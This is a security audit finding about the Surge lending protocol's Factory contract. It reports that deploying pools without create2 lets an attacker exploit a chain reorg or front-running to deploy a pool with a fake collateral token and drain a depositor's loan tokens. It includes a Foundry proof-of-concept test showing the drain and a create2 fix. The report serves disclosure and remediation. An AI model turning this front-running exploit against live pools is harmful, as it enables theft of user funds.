zaskoh

high

# Not using create2 in Factory can lead to lost user funds

## Summary
In case of a reorg or a user that queues `deploy - approve - deposit` (where approve and deposit are on an expected address returned from deploy) an attacker can front-run the deploy and change the values for the deployed Pool on that address to drain all deposit tokens without spending any tokens.

## Vulnerability Detail
The protocol want's to deploy on most of the EVM chains, and L2s. On most of them there can be a reorg and this can lead to an attack to drain tokens from a user.

- Bob deployes a Pool via deploySurgePool
- Bob waits for the next block to get the deployed Pool address
- Bob sends an approve for the loanToken and the deposit to the pool
- An reorg for the block where the deploySurgePool happens
- Attacker front-run the deploySurgePool with malicious params and a fake-token he controls as the collateral token
- Bobs deploySurgePool goes through, but it has a new address that was not expected
- The approve and deposit from Bob goes to the pool address the attacker created
- Attacker use `addCollateral` with his fake token and then a `borrow` to get out Bob's loan tokens

On Feb-22-2023 for example polygon had an reorg of 157 blocks, a depth of 1 - 10 are happening on a regular basis. Ethereum has also regular reorgs with a depth of 1 where the attack from above can also happen, especially if Bob uses a script / multicall to send the approve and deposit to happen in the next block. Also on L2s like Optimism can a reorg happen when a fraud block was found.

As the attacker don't need any capital (he just uses a Fake token as the collateral token) to drain all deposited tokens from a victim, an attacker just needs to setup a script to wait for an reorg after an deploy and deposit happens from a user to drain the pool.

## Impact
https://github.com/Surge-fi/surge-protocol-v1/blob/b7cb1dc2a2dcb4bf22c765a4222d7520843187c6/src/Factory.sol#L175-L187

Without using create2 for deploying Pools, a user can't be sure that the expected deployed address will hold, unless he waits enough blocks that no reorg can happen.  
If an attacker is able to front-run a `deploySurgePool` and the followed `deposit` of a Pool-creator, it is possible for him to withdraw all deposited loan tokens from the user without spending any collateral as he just use a useless token as the collateral in the front-running.

## Code Snippet

Add test and run
forge test --match-contract=ReorgTest
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "../src/Factory.sol";
import "./mocks/ERC20.sol";
import "../src/Pool.sol";

contract ReorgTest is Test {

    Factory factory;    
    address bob = makeAddr("bob");
    address attacker = makeAddr("attacker");

    MockERC20 collateralToken;
    MockERC20 loanToken;
    MockERC20 attackerToken;

    function setUp() public {
        factory = new Factory(address(this), "Reorg");

        collateralToken = new MockERC20(10 ether, 18);
        loanToken = new MockERC20(10 ether, 18);
        attackerToken = new MockERC20(1000 ether, 18);

        deal(bob, 1 ether);
        deal(attacker, 1 ether);

        // bob holds 10 loan tokens
        loanToken.transfer(bob, 10 ether);

        // attacker with no collateral and loan but with 1000 attackerTokens
        attackerToken.transfer(attacker, 1000 ether);
    }    

    function testDeployPool() external {
        
        // attacker starts with 0 loanTokens and bob holds 10 loanTokens
        assertEq(loanToken.balanceOf(bob), 10 ether);
        assertEq(loanToken.balanceOf(attacker), 0);

        // bob wants to deploy the pool with the following entries, but it is front-run / deployed from the attacker on a reorg
        //vm.startPrank(bob, bob);
        //Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        //vm.stopPrank();

        // attacker front-runs / use an reorg to get the next pool address where he knows bob is depositing tokens and adapts the configuration
        vm.startPrank(attacker, attacker);
        Pool pool = factory.deploySurgePool(IERC20(address(attackerToken)), IERC20(address(loanToken)), 1e18, 0.999999e18, 1, 1, 1, 1, 1);
        vm.stopPrank();

        // now the deploySurgePool occourse from bob
        // but the address for pool will be different to what he was expecting before and so the address is useless
        vm.startPrank(bob, bob);
        factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        // bobs approve for his expected pool address happens and he deposits his tokens to it        
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(10 ether); // bob deposit 10 loanToken
        vm.stopPrank();

        // as the attacker changed the deployment and used his attackerToken as the collateralToken he can now add this token as collateral
        // and with the changed conditions can now borrow >99%
        vm.startPrank(attacker, attacker);
        attackerToken.approve(address(pool), type(uint).max);
        pool.addCollateral(attacker, 1000 ether);
        pool.borrow(9.99999 ether);
        vm.stopPrank();

        // now bob has no loanTokens and attacker has >9.99 loanTokens and bob is left with a pool full of useless attackerTokens
        assertEq(loanToken.balanceOf(bob), 0);
        assertGt(loanToken.balanceOf(attacker), 9.99 ether);
    }
}
```

## Tool used
Manual Review

## Recommendation
Deploy the `Pool` contract via `create2`. The salt should include the `msg.sender`, for example you could abi.encode() all the params + msg.sender to calculate the salt for the pool.

With this implementation, a User can also precalculate the Pool-Address for a deployment and it's not possible for an attacker to front-run a create to block the expected address.

One drawback is, that an address can't deploy another Pool with exactly the same conditions, but this should not be the case anyway.

Example:

```solidity
    function deploySurgePool(
        IERC20 _collateralToken,
        IERC20 _loanToken,
        uint _maxCollateralRatioMantissa,
        uint _surgeMantissa,
        uint _collateralRatioFallDuration,
        uint _collateralRatioRecoveryDuration,
        uint _minRateMantissa,
        uint _surgeRateMantissa,
        uint _maxRateMantissa
    ) external returns (Pool) {
        string memory poolNumberString = toString(pools.length);
        string memory prefix = unpack(POOL_SYMBOL_PREFIX);
        Pool pool = new Pool{salt: getDeploySalt(
            _maxCollateralRatioMantissa, _surgeMantissa, _collateralRatioFallDuration, _collateralRatioRecoveryDuration,
            _minRateMantissa, _surgeRateMantissa, _maxRateMantissa
        )}(
            string(abi.encodePacked(prefix, poolNumberString)),
            string(abi.encodePacked("Surge ", prefix, poolNumberString, " Pool")),
            _collateralToken,
            _loanToken,
            _maxCollateralRatioMantissa,
            _surgeMantissa,
            _collateralRatioFallDuration,
            _collateralRatioRecoveryDuration,
            _minRateMantissa,
            _surgeRateMantissa,
            _maxRateMantissa
        );
        isPool[pool] = true;
        emit PoolDeployed(pools.length, address(pool), address(_collateralToken), address(_loanToken), _maxCollateralRatioMantissa, _surgeMantissa, _collateralRatioFallDuration, _collateralRatioRecoveryDuration, _minRateMantissa, _surgeRateMantissa, _maxRateMantissa);
        pools.push(pool);
        return pool;
    }

    function getDeploySalt(
        uint _maxCollateralRatioMantissa, uint _surgeMantissa, uint _collateralRatioFallDuration,
        uint _collateralRatioRecoveryDuration, uint _minRateMantissa, uint _surgeRateMantissa, uint _maxRateMantissa
    ) internal view returns (bytes32) {
        return keccak256(abi.encode(
            _maxCollateralRatioMantissa, _surgeMantissa, _collateralRatioFallDuration, _collateralRatioRecoveryDuration, _minRateMantissa,
            _surgeRateMantissa, _maxRateMantissa, msg.sender
        ));
    }
```